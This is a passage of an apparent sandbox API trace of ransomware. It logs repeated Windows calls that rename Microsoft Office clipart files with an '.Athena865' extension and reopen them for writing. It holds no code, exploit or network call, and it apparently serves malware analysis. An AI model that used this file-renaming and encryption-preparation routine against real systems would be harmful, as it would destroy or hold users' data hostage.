(lpString="J0149018.JPG") returned 12 [0125.876] lstrlenW (lpString="Athena865") returned 9 [0125.876] lstrcmpiW (lpString1="49018.JPG", lpString2="Athena865") returned -1 [0125.876] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.Athena865") returned 73 [0125.877] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.athena865"), dwFlags=0x1) returned 1 [0125.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.878] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27393) returned 1 [0125.882] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0149118.JPG" | out: lpString1="J0149118.JPG") returned="J0149118.JPG" [0125.882] lstrlenW (lpString="J0149118.JPG") returned 12 [0125.882] lstrlenW (lpString="Athena865") returned 9 [0125.882] lstrcmpiW (lpString1="49118.JPG", lpString2="Athena865") returned -1 [0125.883] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.Athena865") returned 73 [0125.883] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.athena865"), dwFlags=0x1) returned 1 [0125.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.885] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=64802) returned 1 [0125.891] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0150150.WMF" | out: lpString1="J0150150.WMF") returned="J0150150.WMF" [0125.891] lstrlenW (lpString="J0150150.WMF") returned 12 [0125.891] lstrlenW (lpString="Athena865") returned 9 [0125.891] lstrcmpiW (lpString1="50150.WMF", lpString2="Athena865") returned -1 [0125.891] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.Athena865") returned 73 [0125.891] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf.athena865"), dwFlags=0x1) returned 1 [0125.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.892] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=46404) returned 1 [0125.897] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0150861.WMF" | out: lpString1="J0150861.WMF") returned="J0150861.WMF" [0125.897] lstrlenW (lpString="J0150861.WMF") returned 12 [0125.897] lstrlenW (lpString="Athena865") returned 9 [0125.897] lstrcmpiW (lpString1="50861.WMF", lpString2="Athena865") returned -1 [0125.897] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.Athena865") returned 73 [0125.897] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf.athena865"), dwFlags=0x1) returned 1 [0125.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.898] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8494) returned 1 [0125.902] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0151041.WMF" | out: lpString1="J0151041.WMF") returned="J0151041.WMF" [0125.902] lstrlenW (lpString="J0151041.WMF") returned 12 [0125.902] lstrlenW (lpString="Athena865") returned 9 [0125.902] lstrcmpiW (lpString1="51041.WMF", lpString2="Athena865") returned -1 [0125.902] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.Athena865") returned 73 [0125.902] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf.athena865"), dwFlags=0x1) returned 1 [0125.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.905] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4356) returned 1 [0125.909] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0151045.WMF" | out: lpString1="J0151045.WMF") returned="J0151045.WMF" [0125.909] lstrlenW (lpString="J0151045.WMF") returned 12 [0125.909] lstrlenW (lpString="Athena865") returned 9 [0125.909] lstrcmpiW (lpString1="51045.WMF", lpString2="Athena865") returned -1 [0125.909] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.Athena865") returned 73 [0125.909] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf.athena865"), dwFlags=0x1) returned 1 [0125.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.910] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15464) returned 1 [0125.913] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0151047.WMF" | out: lpString1="J0151047.WMF") returned="J0151047.WMF" [0125.913] lstrlenW (lpString="J0151047.WMF") returned 12 [0125.913] lstrlenW (lpString="Athena865") returned 9 [0125.914] lstrcmpiW (lpString1="51047.WMF", lpString2="Athena865") returned -1 [0125.914] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.Athena865") returned 73 [0125.914] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf.athena865"), dwFlags=0x1) returned 1 [0125.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.915] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18500) returned 1 [0125.918] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0151055.WMF" | out: lpString1="J0151055.WMF") returned="J0151055.WMF" [0125.918] lstrlenW (lpString="J0151055.WMF") returned 12 [0125.918] lstrlenW (lpString="Athena865") returned 9 [0125.918] lstrcmpiW (lpString1="51055.WMF", lpString2="Athena865") returned -1 [0125.918] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.Athena865") returned 73 [0125.918] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf.athena865"), dwFlags=0x1) returned 1 [0125.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.920] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14632) returned 1 [0125.923] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0151061.WMF" | out: lpString1="J0151061.WMF") returned="J0151061.WMF" [0125.923] lstrlenW (lpString="J0151061.WMF") returned 12 [0125.923] lstrlenW (lpString="Athena865") returned 9 [0125.923] lstrcmpiW (lpString1="51061.WMF", lpString2="Athena865") returned -1 [0125.923] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.Athena865") returned 73 [0125.923] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf.athena865"), dwFlags=0x1) returned 1 [0125.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.925] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6752) returned 1 [0125.927] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0151063.WMF" | out: lpString1="J0151063.WMF") returned="J0151063.WMF" [0125.927] lstrlenW (lpString="J0151063.WMF") returned 12 [0125.927] lstrlenW (lpString="Athena865") returned 9 [0125.927] lstrcmpiW (lpString1="51063.WMF", lpString2="Athena865") returned -1 [0125.928] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.Athena865") returned 73 [0125.928] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf.athena865"), dwFlags=0x1) returned 1 [0125.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.929] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10632) returned 1 [0125.932] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0151067.WMF" | out: lpString1="J0151067.WMF") returned="J0151067.WMF" [0125.932] lstrlenW (lpString="J0151067.WMF") returned 12 [0125.932] lstrlenW (lpString="Athena865") returned 9 [0125.932] lstrcmpiW (lpString1="51067.WMF", lpString2="Athena865") returned -1 [0125.932] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.Athena865") returned 73 [0125.932] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf.athena865"), dwFlags=0x1) returned 1 [0125.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.934] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13204) returned 1 [0125.937] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0151073.WMF" | out: lpString1="J0151073.WMF") returned="J0151073.WMF" [0125.937] lstrlenW (lpString="J0151073.WMF") returned 12 [0125.937] lstrlenW (lpString="Athena865") returned 9 [0125.937] lstrcmpiW (lpString1="51073.WMF", lpString2="Athena865") returned -1 [0125.937] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.Athena865") returned 73 [0125.937] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf.athena865"), dwFlags=0x1) returned 1 [0125.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.938] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13336) returned 1 [0125.942] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0151581.WMF" | out: lpString1="J0151581.WMF") returned="J0151581.WMF" [0125.942] lstrlenW (lpString="J0151581.WMF") returned 12 [0125.942] lstrlenW (lpString="Athena865") returned 9 [0125.942] lstrcmpiW (lpString1="51581.WMF", lpString2="Athena865") returned -1 [0125.942] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.Athena865") returned 73 [0125.942] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf.athena865"), dwFlags=0x1) returned 1 [0125.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.944] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10752) returned 1 [0125.946] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152414.WMF" | out: lpString1="J0152414.WMF") returned="J0152414.WMF" [0125.946] lstrlenW (lpString="J0152414.WMF") returned 12 [0125.947] lstrlenW (lpString="Athena865") returned 9 [0125.947] lstrcmpiW (lpString1="52414.WMF", lpString2="Athena865") returned -1 [0125.947] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.Athena865") returned 73 [0125.947] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf.athena865"), dwFlags=0x1) returned 1 [0125.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.948] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24844) returned 1 [0125.951] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152430.WMF" | out: lpString1="J0152430.WMF") returned="J0152430.WMF" [0125.951] lstrlenW (lpString="J0152430.WMF") returned 12 [0125.952] lstrlenW (lpString="Athena865") returned 9 [0125.952] lstrcmpiW (lpString1="52430.WMF", lpString2="Athena865") returned -1 [0125.952] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.Athena865") returned 73 [0125.952] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf.athena865"), dwFlags=0x1) returned 1 [0125.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.953] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14132) returned 1 [0126.058] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152432.WMF" | out: lpString1="J0152432.WMF") returned="J0152432.WMF" [0126.058] lstrlenW (lpString="J0152432.WMF") returned 12 [0126.058] lstrlenW (lpString="Athena865") returned 9 [0126.058] lstrcmpiW (lpString1="52432.WMF", lpString2="Athena865") returned -1 [0126.058] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.Athena865") returned 73 [0126.059] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf.athena865"), dwFlags=0x1) returned 1 [0126.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.060] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16492) returned 1 [0126.064] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152436.WMF" | out: lpString1="J0152436.WMF") returned="J0152436.WMF" [0126.064] lstrlenW (lpString="J0152436.WMF") returned 12 [0126.064] lstrlenW (lpString="Athena865") returned 9 [0126.064] lstrcmpiW (lpString1="52436.WMF", lpString2="Athena865") returned -1 [0126.064] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.Athena865") returned 73 [0126.064] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf.athena865"), dwFlags=0x1) returned 1 [0126.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.065] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11340) returned 1 [0126.068] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152556.WMF" | out: lpString1="J0152556.WMF") returned="J0152556.WMF" [0126.068] lstrlenW (lpString="J0152556.WMF") returned 12 [0126.068] lstrlenW (lpString="Athena865") returned 9 [0126.068] lstrcmpiW (lpString1="52556.WMF", lpString2="Athena865") returned -1 [0126.068] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.Athena865") returned 73 [0126.069] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf.athena865"), dwFlags=0x1) returned 1 [0126.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.070] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16432) returned 1 [0126.075] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152558.WMF" | out: lpString1="J0152558.WMF") returned="J0152558.WMF" [0126.075] lstrlenW (lpString="J0152558.WMF") returned 12 [0126.075] lstrlenW (lpString="Athena865") returned 9 [0126.075] lstrcmpiW (lpString1="52558.WMF", lpString2="Athena865") returned -1 [0126.075] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.Athena865") returned 73 [0126.075] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf.athena865"), dwFlags=0x1) returned 1 [0126.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.077] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16052) returned 1 [0126.080] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0152560.WMF" | out: lpString1="J0152560.WMF") returned="J0152560.WMF" [0126.080] lstrlenW (lpString="J0152560.WMF") returned 12 [0126.080] lstrlenW (lpString="Athena865") returned 9 [0126.080] lstrcmpiW (lpString1="52560.WMF", lpString2="Athena865") returned -1 [0126.080] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.Athena865") returned 73 [0126.080] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.Athena865" (normalized: "c:\\program files\\microsoft 